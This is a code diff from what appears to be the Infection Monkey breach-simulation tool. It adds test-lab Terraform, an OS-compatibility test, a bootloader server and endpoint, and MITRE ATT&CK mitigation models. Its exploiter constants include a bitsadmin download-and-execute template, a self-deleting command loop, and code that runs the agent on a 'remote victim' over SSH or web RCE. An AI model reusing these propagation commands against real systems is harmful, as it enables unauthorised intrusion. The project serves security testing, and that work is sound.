source = "./instance_template"
|
||||
name = "debian_9"
|
||||
ami = "ami-0badcc5b522737046"
|
||||
ip = "10.0.0.79"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "oracle_6" {
|
||||
source = "./instance_template"
|
||||
name = "oracle_6"
|
||||
ami = "ami-0f9b69f34108a3770"
|
||||
ip = "10.0.0.66"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "oracle_7" {
|
||||
source = "./instance_template"
|
||||
name = "oracle_7"
|
||||
ami = "ami-001e494dc0f3372bc"
|
||||
ip = "10.0.0.67"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "ubuntu_12" {
|
||||
source = "./instance_template"
|
||||
name = "ubuntu_12"
|
||||
ami = "ami-003d0b1d"
|
||||
ip = "10.0.0.22"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
// Requires m3.medium instance which usually isn't available
|
||||
// module "ubuntu_12_32" {
|
||||
// source = "./instance_template"
|
||||
// name = "ubuntu_12_32"
|
||||
// ami = "ami-06003c1b"
|
||||
// ip = "10.0.0.23"
|
||||
// env_vars = "${local.env_vars}"
|
||||
// user_data = "${local.user_data_linux_32}"
|
||||
// }
|
||||
|
||||
module "ubuntu_14" {
|
||||
source = "./instance_template"
|
||||
name = "ubuntu_14"
|
||||
ami = "ami-067ee10914e74ffee"
|
||||
ip = "10.0.0.24"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "ubuntu_19" {
|
||||
source = "./instance_template"
|
||||
name = "ubuntu_19"
|
||||
ami = "ami-001b87954b72ea3ac"
|
||||
ip = "10.0.0.29"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "windows_2003_r2_32" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2003_r2_32"
|
||||
ami = "ami-01e4fa6d"
|
||||
ip = "10.0.0.4"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_64}"
|
||||
}
|
||||
|
||||
module "windows_2003" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2003"
|
||||
ami = "ami-9e023183"
|
||||
ip = "10.0.0.5"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_64}"
|
||||
}
|
||||
|
||||
module "windows_2008_r2" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2008_r2"
|
||||
ami = "ami-05af5509c2c73e36e"
|
||||
ip = "10.0.0.8"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_64}"
|
||||
}
|
||||
|
||||
|
||||
module "windows_2008_32" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2008_32"
|
||||
ami = "ami-3606352b"
|
||||
ip = "10.0.0.6"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_32}"
|
||||
}
|
||||
|
||||
module "windows_2012" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2012"
|
||||
ami = "ami-0d8c60e4d3ca36ed6"
|
||||
ip = "10.0.0.12"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_64}"
|
||||
}
|
||||
|
||||
module "windows_2012_r2" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2012_r2"
|
||||
ami = "ami-08dcceb529e70f875"
|
||||
ip = "10.0.0.11"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_64}"
|
||||
}
|
||||
|
||||
module "windows_2016" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2016"
|
||||
ami = "ami-02a6791b44938cfcd"
|
||||
ip = "10.0.0.116"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_64}"
|
||||
}
|
||||
|
||||
module "windows_2019" {
|
||||
source = "./instance_template"
|
||||
name = "windows_2019"
|
||||
ami = "ami-09fe2745618d2af42"
|
||||
ip = "10.0.0.119"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_windows_64}"
|
||||
}
|
|
@ -0,0 +1,62 @@
|
|||
import pytest
|
||||
|
||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||
|
||||
|
||||
machine_list = {
|
||||
"10.0.0.36": "centos_6",
|
||||
"10.0.0.37": "centos_7",
|
||||
"10.0.0.38": "centos_8",
|
||||
"10.0.0.42": "suse_12",
|
||||
"10.0.0.41": "suse_11",
|
||||
"10.0.0.99": "kali_2019",
|
||||
"10.0.0.86": "rhel_6",
|
||||
"10.0.0.87": "rhel_7",
|
||||
"10.0.0.88": "rhel_8",
|
||||
"10.0.0.77": "debian_7",
|
||||
"10.0.0.78": "debian_8",
|
||||
"10.0.0.79": "debian_9",
|
||||
"10.0.0.66": "oracle_6",
|
||||
"10.0.0.67": "oracle_7",
|
||||
"10.0.0.22": "ubuntu_12",
|
||||
"10.0.0.24": "ubuntu_14",
|
||||
"10.0.0.29": "ubuntu_19",
|
||||
"10.0.0.4": "windows_2003_r2_32",
|
||||
"10.0.0.5": "windows_2003",
|
||||
"10.0.0.8": "windows_2008",
|
||||
"10.0.0.6": "windows_2008_32",
|
||||
"10.0.0.12": "windows_2012",
|
||||
"10.0.0.11": "windows_2012_r2",
|
||||
"10.0.0.116": "windows_2016",
|
||||
"10.0.0.119": "windows_2019",
|
||||
}
|
||||
|
||||
|
||||
@pytest.fixture(scope='class')
|
||||
def island_client(island):
|
||||
island_client_object = MonkeyIslandClient(island)
|
||||
yield island_client_object
|
||||
|
||||
|
||||
@pytest.mark.usefixtures('island_client')
|
||||
# noinspection PyUnresolvedReferences
|
||||
class TestOSCompatibility(object):
|
||||
|
||||
def test_os_compat(self, island_client):
|
||||
print()
|
||||
all_monkeys = island_client.get_all_monkeys_from_db()
|
||||
ips_that_communicated = []
|
||||
for monkey in all_monkeys:
|
||||
for ip in monkey['ip_addresses']:
|
||||
if ip in machine_list:
|
||||
ips_that_communicated.append(ip)
|
||||
break
|
||||
for ip, os in machine_list.items():
|
||||
if ip not in ips_that_communicated:
|
||||
print("{} didn't communicate to island".format(os))
|
||||
|
||||
if len(ips_that_communicated) < len(machine_list):
|
||||
assert False
|
||||
|
||||
|
||||
|
|
@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
cmdline += "&"
|
||||
cmdline += " > /dev/null 2>&1 &"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
|
|
|
@ -409,6 +409,7 @@ class WebRCE(HostExploiter):
|
|||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
||||
try:
|
||||
LOG.info("Trying to execute monkey using command: {}".format(command))
|
||||
resp = self.exploit(url, command)
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
|
|
|
@ -5,14 +5,17 @@ __author__ = 'itamar'
|
|||
MONKEY_ARG = "m0nk3y"
|
||||
DROPPER_ARG = "dr0pp3r"
|
||||
ID_STRING = "M0NK3Y3XPL0ITABLE"
|
||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
|
||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
|
||||
|
||||
# CMD prefix for windows commands
|
||||
CMD_PREFIX = "cmd.exe /c"
|
||||
DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
|
||||
MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
|
||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
|
||||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
||||
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
|
||||
DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
|
||||
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
||||
'/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
||||
'file_path)s exit)) > NUL 2>&1 '
|
||||
|
||||
|
@ -25,8 +28,6 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
|||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# Commands used to check for architecture and if machine is exploitable
|
||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||
# CMD prefix for windows commands
|
||||
CMD_PREFIX = "cmd.exe /c"
|
||||
# Architecture checking commands
|
||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
||||
GET_ARCH_LINUX = "lscpu"
|
||||
|
|
|
@ -5,7 +5,7 @@ requests
|
|||
odict
|
||||
paramiko
|
||||
psutil
|
||||
PyInstaller
|
||||
git+https://github.com/guardicore/pyinstaller
|
||||
ecdsa
|
||||
netifaces
|
||||
ipaddress
|
||||
|
|
|
@ -7,9 +7,12 @@ import urllib
|
|||
from logging import getLogger
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
import requests
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
import infection_monkey.control
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -108,12 +111,35 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
||||
timeout = 30 # timeout with clients, set to None not to make persistent connection
|
||||
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
||||
protocol_version = "HTTP/1.1"
|
||||
|
||||
def do_POST(self):
|
||||
try:
|
||||
content_length = int(self.headers['Content-Length'])
|
||||
post_data = self.rfile.read(content_length).decode()
|
||||
LOG.info("Received bootloader's request: {}".format(post_data))
|
||||
try:
|
||||
dest_path = self.path
|
||||
r = requests.post(url=dest_path,
|
||||
data=post_data,
|
||||
verify=False,
|
||||
proxies=infection_monkey.control.ControlClient.proxies)
|
||||
self.send_response(r.status_code)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
LOG.error("Couldn't forward request to the island: {}".format(e))
|
||||
self.send_response(404)
|
||||
except Exception as e:
|
||||
LOG.error("Failed to forward bootloader request: {}".format(e))
|
||||
finally:
|
||||
self.end_headers()
|
||||
self.wfile.write(r.content)
|
||||
except Exception as e:
|
||||
LOG.error("Failed receiving bootloader telemetry: {}".format(e))
|
||||
|
||||
def version_string(self):
|
||||
return ""
|
||||
|
||||
def do_CONNECT(self):
|
||||
LOG.info("Received a connect request!")
|
||||
# just provide a tunnel, transfer the data with no modification
|
||||
req = self
|
||||
req.path = "https://%s/" % req.path.replace(':443', '')
|
||||
|
|
|
@ -1,4 +1,16 @@
|
|||
from monkey_island.cc.main import main
|
||||
|
||||
|
||||
def parse_cli_args():
|
||||
import argparse
|
||||
parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com")
|
||||
parser.add_argument("-s", "--setup-only", action="store_true",
|
||||
help="Pass this flag to cause the Island to setup and exit without actually starting. This is useful "
|
||||
"for preparing Island to boot faster later-on, so for compiling/packaging Islands.")
|
||||
args = parser.parse_args()
|
||||
return args.setup_only
|
||||
|
||||
|
||||
if "__main__" == __name__:
|
||||
main()
|
||||
is_setup_only = parse_cli_args()
|
||||
main(is_setup_only)
|
||||
|
|
|
@ -19,6 +19,7 @@ from monkey_island.cc.resources.island_configuration import IslandConfiguration
|
|||
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
||||
from monkey_island.cc.resources.netmap import NetMap
|
||||
from monkey_island.cc.resources.node import Node
|
||||
from monkey_island.cc.resources.node_states import NodeStates
|
||||
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||
from monkey_island.cc.resources.reporting.report import Report
|
||||
from monkey_island.cc.resources.root import Root
|
||||
|
@ -30,6 +31,7 @@ from monkey_island.cc.resources.version_update import VersionUpdate
|
|||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
||||
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
||||
from monkey_island.cc.resources.bootloader import Bootloader
|
||||
from monkey_island.cc.services.database import Database
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.services.representations import output_json
|
||||
|
@ -87,6 +89,7 @@ def init_app_url_rules(app):
|
|||
def init_api_resources(api):
|
||||
api.add_resource(Root, '/api')
|
||||
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
|
||||
api.add_resource(Bootloader, '/api/bootloader/<string:os>')
|
||||
api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
|
||||
api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/')
|
||||
api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/<string:monkey_guid>')
|
||||
|
@ -97,6 +100,7 @@ def init_api_resources(api):
|
|||
api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
|
||||
api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
|
||||
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
|
||||
api.add_resource(NodeStates, '/api/netmap/nodeStates')
|
||||
|
||||
# report_type: zero_trust or security
|
||||
api.add_resource(
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
from socketserver import ThreadingMixIn
|
||||
from urllib import parse
|
||||
import urllib3
|
||||
import logging
|
||||
|
||||
import requests
|
||||
import pymongo
|
||||
|
||||
from monkey_island.cc.environment import Environment
|
||||
|
||||
# Disable "unverified certificate" warnings when sending requests to island
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class BootloaderHttpServer(ThreadingMixIn, HTTPServer):
|
||||
|
||||
def __init__(self, mongo_url):
|
||||
self.mongo_client = pymongo.MongoClient(mongo_url)
|
||||
server_address = ('', 5001)
|
||||
super().__init__(server_address, BootloaderHTTPRequestHandler)
|
||||
|
||||
|
||||
class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
def do_POST(self):
|
||||
content_length = int(self.headers['Content-Length'])
|
||||
post_data = self.rfile.read(content_length).decode()
|
||||
island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0])
|
||||
island_server_path = parse.urljoin(island_server_path, self.path[1:])
|
||||
r = requests.post(url=island_server_path, data=post_data, verify=False)
|
||||
|
||||
try:
|
||||
if r.status_code != 200:
|
||||
self.send_response(404)
|
||||
else:
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
self.wfile.write(r.content)
|
||||
except Exception as e:
|
||||
logger.error("Failed to respond to bootloader: {}".format(e))
|
||||
finally:
|
||||
self.connection.close()
|
||||
|
||||
@staticmethod
|
||||
def get_bootloader_resource_url(server_ip):
|
||||
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"
|
||||
|
|
@ -3,6 +3,7 @@ import os.path
|
|||
import sys
|
||||
import time
|
||||
import logging
|
||||
from threading import Thread
|
||||
|
||||
MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0"
|
||||
|
||||
|
@ -26,9 +27,21 @@ from monkey_island.cc.environment.environment import env
|
|||
from monkey_island.cc.database import is_db_server_up, get_db_version
|
||||
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
||||
from common.version import get_version
|
||||
from monkey_island.cc.bootloader_server import BootloaderHttpServer
|
||||
from monkey_island.cc.setup import setup
|
||||
|
||||
|
||||
def main():
|
||||
def main(should_setup_only):
|
||||
logger.info("Starting bootloader server")
|
||||
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
|
||||
bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True)
|
||||
|
||||
bootloader_server_thread.start()
|
||||
start_island_server(should_setup_only)
|
||||
bootloader_server_thread.join()
|
||||
|
||||
|
||||
def start_island_server(should_setup_only):
|
||||
from tornado.wsgi import WSGIContainer
|
||||
from tornado.httpserver import HTTPServer
|
||||
from tornado.ioloop import IOLoop
|
||||
|
@ -43,6 +56,12 @@ def main():
|
|||
crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
|
||||
key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
|
||||
|
||||
setup()
|
||||
|
||||
if should_setup_only:
|
||||
logger.warning("Setup only flag passed. Exiting.")
|
||||
return
|
||||
|
||||
if env.is_debug():
|
||||
app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path))
|
||||
else:
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
from typing import Dict
|
||||
|
||||
from mongoengine import Document, StringField, DoesNotExist, EmbeddedDocumentField, ListField
|
||||
from monkey_island.cc.models.attack.mitigation import Mitigation
|
||||
from stix2 import AttackPattern, CourseOfAction
|
||||
|
||||
from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface
|
||||
|
||||
|
||||
class AttackMitigations(Document):
|
||||
|
||||
COLLECTION_NAME = "attack_mitigations"
|
||||
|
||||
technique_id = StringField(required=True, primary_key=True)
|
||||
mitigations = ListField(EmbeddedDocumentField('Mitigation'))
|
||||
|
||||
@staticmethod
|
||||
def get_mitigation_by_technique_id(technique_id: str) -> Document:
|
||||
try:
|
||||
return AttackMitigations.objects.get(technique_id=technique_id)
|
||||
except DoesNotExist:
|
||||
raise Exception("Attack technique with id {} does not exist!".format(technique_id))
|
||||
|
||||
def add_mitigation(self, mitigation: CourseOfAction):
|
||||
mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation)
|
||||
if mitigation_external_ref_id.startswith('M'):
|
||||
self.mitigations.append(Mitigation.get_from_stix2_data(mitigation))
|
||||
|
||||
def add_no_mitigations_info(self, mitigation: CourseOfAction):
|
||||
mitigation_external_ref_id = MitreApiInterface.get_stix2_external_reference_id(mitigation)
|
||||
if mitigation_external_ref_id.startswith('T') and len(self.mitigations) == 0:
|
||||
mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation)
|
||||
mitigation_mongo_object['description'] = mitigation_mongo_object['description'].splitlines()[0]
|
||||
mitigation_mongo_object['url'] = ''
|
||||
self.mitigations.append(mitigation_mongo_object)
|
||||
|
||||
@staticmethod
|
||||
def mitigations_from_attack_pattern(attack_pattern: AttackPattern):
|
||||
return AttackMitigations(technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern),
|
||||
mitigations=[])
|
||||
|
||||
@staticmethod
|
||||
def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]):
|
||||
return {key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern)
|
||||
for key, attack_pattern in stix2_dict.items()}
|
|
@ -0,0 +1,19 @@
|
|||
from mongoengine import StringField, EmbeddedDocument
|
||||
from stix2 import CourseOfAction
|
||||
|
||||
from monkey_island.cc.services.attack.test_mitre_api_interface import MitreApiInterface
|
||||
|
||||
|
||||
class Mitigation(EmbeddedDocument):
|
||||
|
||||
name = StringField(required=True)
|
||||
description = StringField(required=True)
|
||||
url = StringField()
|
||||
|
||||
@staticmethod
|
||||
def get_from_stix2_data(mitigation: CourseOfAction):
|
||||
name = mitigation['name']
|
||||
description = mitigation['description']
|
||||
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
|
||||
return Mitigation(name=name, description=description, url=url)
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
import json
|
||||
from typing import Dict
|
||||
|
||||
import flask_restful
|
||||
from flask import request, make_response
|
||||
|
||||
from monkey_island.cc.services.bootloader import BootloaderService
|
||||
|
||||
|
||||
class Bootloader(flask_restful.Resource):
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
def post(self, os):
|
||||
if os == 'linux':
|
||||
data = Bootloader._get_request_contents_linux(request.data)
|
||||
elif os == 'windows':
|
||||
data = Bootloader._get_request_contents_windows(request.data)
|
||||
else:
|
||||
return make_response({"status": "OS_NOT_FOUND"}, 404)
|
||||
|
||||
result = BootloaderService.parse_bootloader_telem(data)
|
||||
|
||||
if result:
|
||||
return make_response({"status": "RUN"}, 200)
|
||||
else:
|
||||
return make_response({"status": "ABORT"}, 200)
|
||||
|
||||
@staticmethod
|
||||
def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]:
|
||||
parsed_data = json.loads(request_data.decode().replace("\"\n", "")
|
||||
.replace("\n", "")
|
||||
.replace("NAME=\"", "")
|
||||
.replace("\":\",", "\":\"\","))
|
||||
return parsed_data
|
||||
|
||||
@staticmethod
|
||||
def _get_request_contents_windows(request_data: bytes) -> Dict[str, str]:
|
||||
return json.loads(request_data.decode("utf-16", "ignore"))
|
|
@ -0,0 +1,56 @@
|
|||
from unittest import TestCase
|
||||
|
||||
from monkey_island.cc.resources.bootloader import Bootloader
|
||||
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS
|
||||
|
||||
|
||||
class TestBootloader(TestCase):
|
||||
|
||||
def test_get_request_contents_linux(self):
|
||||
data_without_tunnel = b'{"system":"linux", ' \
|
||||
b'"os_version":"NAME="Ubuntu"\n", ' \
|
||||
b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \
|
||||
b'"hostname":"test-TEST", ' \
|
||||
b'"tunnel":false, ' \
|
||||
b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
|
||||
data_with_tunnel = b'{"system":"linux", ' \
|
||||
b'"os_version":"NAME="Ubuntu"\n", ' \
|
||||
b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' \
|
||||
b'"hostname":"test-TEST", ' \
|
||||
b'"tunnel":"192.168.56.1:5002", ' \
|
||||
b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}'
|
||||
|
||||
result1 = Bootloader._get_request_contents_linux(data_without_tunnel)
|
||||
self.assertTrue(result1['system'] == "linux")
|
||||
self.assertTrue(result1['os_version'] == "Ubuntu")
|
||||
self.assertTrue(result1['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
|
||||
self.assertTrue(result1['hostname'] == "test-TEST")
|
||||
self.assertFalse(result1['tunnel'])
|
||||
self.assertTrue(result1['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
|
||||
|
||||
result2 = Bootloader._get_request_contents_linux(data_with_tunnel)
|
||||
self.assertTrue(result2['system'] == "linux")
|
||||
self.assertTrue(result2['os_version'] == "Ubuntu")
|
||||
self.assertTrue(result2['glibc_version'] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23")
|
||||
self.assertTrue(result2['hostname'] == "test-TEST")
|
||||
self.assertTrue(result2['tunnel'] == "192.168.56.1:5002")
|
||||
self.assertTrue(result2['ips'] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"])
|
||||
|
||||
def test_get_request_contents_windows(self):
|
||||
windows_data = b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' \
|
||||
b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' \
|
||||
b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' \
|
||||
b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' \
|
||||
b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' \
|
||||
b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' \
|
||||
b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' \
|
||||
b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' \
|
||||
b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' \
|
||||
b'\x001\x00"\x00]\x00}\x00'
|
||||
|
||||
result = Bootloader._get_request_contents_windows(windows_data)
|
||||
self.assertTrue(result['system'] == "windows")
|
||||
self.assertTrue(result['os_version'] == "windows8_or_greater")
|
||||
self.assertTrue(result['hostname'] == "DESKTOP-PJHU36B")
|
||||
self.assertFalse(result['tunnel'])
|
||||
self.assertTrue(result['ips'] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"])
|
|
@ -0,0 +1,11 @@
|
|||
from flask import request
|
||||
import flask_restful
|
||||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.utils.node_states import NodeStates as NodeStateList
|
||||
|
||||
|
||||
class NodeStates(flask_restful.Resource):
|
||||
@jwt_required()
|
||||
def get(self):
|
||||
return {'node_states': [state.value for state in NodeStateList]}
|
|
@ -0,0 +1 @@
|
|||
Subproject commit c139e37bdc51acbc7d0488a5be48553caffdbbd7
|
|
@ -57,7 +57,6 @@ class AttackReportService:
|
|||
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
|
||||
'name': REPORT_NAME
|
||||
}
|
||||
|
||||
for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()):
|
||||
try:
|
||||
technique_report_data = TECHNIQUES[tech_id].get_report_data()
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
from typing import List, Dict
|
||||
|
||||
from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern, v20
|
||||
|
||||
|
||||
class MitreApiInterface:
|
||||
|
||||
ATTACK_DATA_PATH = 'monkey_island/cc/services/attack/attack_data/enterprise-attack'
|
||||
|
||||
@staticmethod
|
||||
def get_all_mitigations() -> Dict[str, CourseOfAction]:
|
||||
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
|
||||
mitigation_filter = [Filter('type', '=', 'course-of-action')]
|
||||
all_mitigations = file_system.query(mitigation_filter)
|
||||
all_mitigations = {mitigation['id']: mitigation for mitigation in all_mitigations}
|
||||
return all_mitigations
|
||||
|
||||
@staticmethod
|
||||
def get_all_attack_techniques() -> Dict[str, AttackPattern]:
|
||||
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
|
||||
technique_filter = [Filter('type', '=', 'attack-pattern')]
|
||||
all_techniques = file_system.query(technique_filter)
|
||||
all_techniques = {technique['id']: technique for technique in all_techniques}
|
||||
return all_techniques
|
||||
|
||||
@staticmethod
|
||||
def get_technique_and_mitigation_relationships() -> List[CourseOfAction]:
|
||||
file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH)
|
||||
technique_filter = [Filter('type', '=', 'relationship'),
|
||||
Filter('relationship_type', '=', 'mitigates')]
|
||||
all_techniques = file_system.query(technique_filter)
|
||||
return all_techniques
|
||||
|
||||
@staticmethod
|
||||
def get_stix2_external_reference_id(stix2_data: v20._DomainObject) -> str:
|
||||
for reference in stix2_data['external_references']:
|
||||
if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
|
||||
return reference['external_id']
|
||||
return ''
|
||||
|
||||
@staticmethod
|
||||
def get_stix2_external_reference_url(stix2_data: v20._DomainObject) -> str:
|
||||
for reference in stix2_data['external_references']:
|
||||
if 'url' in reference:
|
||||
return reference['url']
|
||||
return ''
|
|
@ -24,6 +24,7 @@ class T1003(AttackTechnique):
|
|||
else:
|
||||
status = ScanStatus.UNSCANNED.value
|
||||
data.update(T1003.get_message_and_status(status))
|
||||
